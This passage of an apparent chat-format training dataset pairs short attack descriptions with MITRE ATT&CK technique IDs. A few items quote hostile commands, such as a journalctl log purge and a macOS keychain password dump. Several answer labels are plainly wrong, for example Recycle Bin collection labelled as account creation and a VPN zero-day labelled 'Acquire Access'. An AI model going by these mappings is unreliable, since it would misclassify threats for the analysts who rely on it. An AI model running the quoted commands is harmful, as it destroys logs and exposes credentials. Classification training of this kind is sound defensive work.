                "content": "Adversary edited the Group Policy to set a custom DNS server pointing to a malicious resolver."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder injects a mining payload into a legitimate software update, causing end‑users' devices to perform cryptomining."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sets up an automatic email forwarding rule in the victim's account to exfiltrate confidential communications."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages credential dumping techniques to obtain Kerberos tickets and then fabricates tickets for high-privilege accounts."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates serverless function event sources to trigger unauthorized operations across the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses domain fronting via a major cloud provider, crafting HTTPS requests where the SNI indicates a legit domain, but the internal request routes to the attacker’s infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script calls ptrace to read and write the memory of another process, achieving code execution inside that process."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates counterfeit pop‑up alerts claiming the system is infected, tricking users into disabling Windows Defender."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses hardware breakpoints to detect if a debugger or sandbox is attached, then triggers a benign payload instead of the malicious one."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phisher sends a malicious link that captures the victim's email login and then logs in to read and forward emails."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder placed stolen financial data on a magnetic tape and shipped the tape via courier to a foreign server."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilized a credential‑harvesting script to read password entries from the Opera browser's vault."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware disables the host's host‑based intrusion detection system by removing its signature files, preventing it from generating indicators of compromise."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor communicates with a malicious Azure Function endpoint, sending short telemetry data and receiving commands over TLS."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abuse AWS CloudShell to run commands on compromised instances, effectively using cloud-hosted shells as remote services."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exploits a privileged service to place a fake root certificate in the iOS trust store, allowing interception of encrypted app traffic."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a compromised CDN to serve malicious files to victims."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a malicious PowerShell one‑liner that calls “Add-Type” to import user32.dll and uses the “waveIn” functions to capture audio silently."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script invokes the Windows API CreateFile with the \\\\.\\PhysicalDrive0 path to read the disk directly."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor runs \"hostname\" and \"cat /etc/os-release\" to discover the host name and Linux distribution details."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary executes a malicious .hta file via mshta.exe to run JavaScript payloads without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs 'journalctl --vacuum-time=1s' to trim the systemd journal logs on a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploit, the adversary appends a forged SSH key to the authorized_keys of the target user."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder browses public cloud provider documentation for misconfiguration examples that can be replicated."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group exploits a misconfigured stored procedure to enumerate user accounts and extract sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses stolen credentials to initiate an RDP session to a Windows server, moving laterally within the network."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro embedded in a spreadsheet is triggered when the victim enables macros after opening the file."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group invests time in reverse‑engineering software to create exploit code for known bugs."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan stored its command-and-control configuration inside a GIF image using steganographic embedding of the configuration data."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors target executable installer files with weak ACLs, modify them to include malicious scripts, and achieve execution when the installer is run by an administrator."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a credential dumping operation by reading the SAM registry hive after acquiring SYSTEM privileges through a kernel exploit."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Scanning the target’s wireless network with a list of default WPA2 passwords to find a workable key."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the attacker utilizes Windows Management Instrumentation (WMI) to execute a VBScript stored in the registry, leaving no files on disk."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs DNS lookups to enumerate internal hostnames and IP addresses of the target network."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses the Linux tool 'ldapsearch' to pull the 'pwdPolicySubentry' attribute from Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers manipulate Exchange Server transport rules to reroute suspicious emails to a quarantine mailbox that is not monitored by users."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute commands by invoking the native API function ZwCreateProcess, bypassing higher-level scripting engines."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a zero‑day vulnerability in a VPN client, executing arbitrary code to open a reverse shell and obtain initial system access."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware unmounts SMB shares and deletes the associated connection entries to hide its presence."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A minimal description: the attacker moves a tool onto the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor adds irrelevant JSON fields to its configuration payload to confuse analysts."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is embedded in a compromised advertising network that delivers the payload to visitors' browsers."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By accessing the GPO's Group Policy Preference files, the attacker was able to decode the cpassword and obtain domain admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in the BIOS to flash a malicious firmware image, enabling persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group modifies PowerShell execution policy to Unrestricted to facilitate script execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware was obfuscated by applying a runtime packer that encrypts the payload and decompresses it in memory during execution."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software modifies the Office startup configuration to include a scheduled task that runs a malicious script whenever any Office app starts."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaced the system's UEFI firmware with a malicious image, allowing code execution before the operating system boots."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accessed the internal SharePoint site and replaced the default homepage with a defacement banner."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits NAT hairpinning to reflect traffic back into the internal network, enabling lateral movement between segments that are separated by network address translation."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding a custom time synchronization module, the malware ensures its payload runs on every system startup."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised VPN account to gain access to internal network segments and move laterally."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leveraged the Windows SNMP service to extract MIB data, uncovering system settings."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors send a forged push notification that appears to be from a legitimate service, coaxing the user into approving the login."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code performs a DNS query for well-known sandbox domain names and uses the result to decide whether to proceed with exploitation."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the actor pulls stored credentials from the Windows Credential Store for further abuse."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a malicious .lnk file in the Windows Startup folder so it runs each time the user logs on."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script rewrites the EFI system partition's boot image to execute ransomware."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the Windows Installer (msiexec.exe) to install a malicious package and run its binary."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder assigns the \"cluster-admin\" role to a compromised pod's service account, enabling full control over the Kubernetes environment."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the systemd timer unit files to run a malicious binary every 30 minutes on a compromised Linux machine."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a cross‑site scripting (XSS) flaw in the webmail interface to steal session cookies."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious driver is loaded by LSASS during the boot process, providing the adversary with a stealthy persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a script that runs 'security find-generic-password' to retrieve saved credentials from the macOS keychain."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses PowerShell's Get-Process cmdlet to gather details about running services."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a known vulnerability in the API of a social networking service to enumerate user accounts and hijack them."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant collects the contents of the Recycle Bin before encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator adds a new IAM role in AWS with policy allowing unrestricted S3 access."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor scans the environment for visible Wi‑Fi networks to map potential entry points."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor attempted to discover files but the command was malformed, resulting in an error and incomplete enumeration."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a buffer overflow in a privileged service to corrupt memory, causing the application to terminate and the endpoint to be unavailable."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in a software update mechanism to deliver a malicious DLL that is injected into running processes."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider uses a tool to create custom SAML assertions with elevated permissions, enabling lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs Registry queries to identify security software and disable it."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate data by embedding encrypted blobs within outbound DNS queries to domains they control, avoiding any C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign distributes a backdoor that replicates via USB sticks, using the Windows shortcut (.lnk) technique to execute when the stick is opened."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
